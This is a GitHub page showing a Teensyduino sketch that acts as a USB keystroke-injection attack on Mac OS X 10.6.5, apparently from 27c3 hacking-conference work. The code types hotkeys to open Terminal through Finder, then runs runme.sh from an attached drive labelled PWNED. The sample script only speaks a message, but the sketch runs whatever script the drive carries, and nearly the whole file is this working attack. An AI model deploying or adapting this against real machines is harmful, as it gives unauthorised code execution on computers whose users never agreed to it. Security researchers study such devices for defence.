-
Notifications
You must be signed in to change notification settings - Fork 48
Expand file tree
/
Copy pathmac-teensyduino.txt
More file actions
62 lines (59 loc) · 1.7 KB
/
mac-teensyduino.txt
File metadata and controls
62 lines (59 loc) · 1.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// Sketch for teensyduino to get into a shell on OS-X 10.6.5
// Improved at 27c3 as Spotlight was a bad way of doing it. This
// version is more reliable, setup teensy with USB drive + keyboard
// Example of disk in project sketch dir.
//
// fantastics-macbook:disk fantastic$ cat .VolumeLabel
// pwned
// fantastics-macbook:disk fantastic$ cat runme.sh
// #!/bin/sh
// /usr/bin/say "you got owned"
// fantastics-macbook:disk fantastic$ pwd
// /Users/fantastic/Documents/Arduino/teensykeyboard/disk
void setup() { } // no setup needed
void loop() {
delay(1000);
Keyboard.set_modifier(MODIFIERKEY_ALT | MODIFIERKEY_GUI);
Keyboard.send_now();
Keyboard.set_key1(KEY_SPACE);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(100);
Keyboard.set_modifier(MODIFIERKEY_SHIFT | MODIFIERKEY_GUI);
Keyboard.send_now();
Keyboard.set_key1(KEY_G);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(100);
Keyboard.println("/Applications/Utilities");
delay(1000);
Keyboard.set_key1(KEY_T);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
delay(500);
Keyboard.set_modifier(MODIFIERKEY_GUI);
Keyboard.send_now();
Keyboard.set_key1(KEY_O);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.set_modifier(MODIFIERKEY_GUI);
Keyboard.send_now();
Keyboard.set_key1(KEY_N);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("cd /Volumes/PWNED");
Keyboard.println("sh ./runme.sh");
Keyboard.println("clear;exit");
delay(30000);
}